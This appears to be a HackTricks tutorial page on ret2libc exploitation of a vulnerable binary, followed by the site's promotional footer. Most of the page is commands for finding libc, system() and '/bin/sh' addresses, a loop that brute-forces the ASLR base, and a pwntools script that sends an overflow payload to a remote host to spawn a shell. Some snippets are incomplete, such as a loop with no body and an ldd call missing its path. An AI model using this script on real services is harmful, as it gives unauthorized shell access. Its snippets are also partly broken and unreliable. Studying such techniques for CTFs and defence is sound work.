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**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.** # If you are **inside** the **host** ## You can find the **address of lib**c ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` If you want to check if the ASLR is changing the address of libc you can do: ```bash for i in `seq 0 20`; do ldd | grep libc; done ``` ## Get offset of system function ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` ## Get offset of "/bin/sh" ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` ## /proc/\/maps If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. ![](<../../.gitbook/assets/image (95).png>) In this case it is loaded in **0xb75dc000** (This will be the base address of libc) ## Using gdb-peda Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda: ``` p system p exit find "/bin/sh" ``` # Bypassing ASLR You can try to bruteforce the abse address of libc. ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` # Code ```python from pwn import * c = remote('192.168.85.181',20002) c.recvline() #Banner for off in range(0xb7000000, 0xb8000000, 0x1000): p = "" p += p32(off + 0x0003cb20) #system p += "CCCC" #GARBAGE p += p32(off + 0x001388da) #/bin/sh payload = 'A'*0x20010 + p c.send(payload) c.interactive() #? ```
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.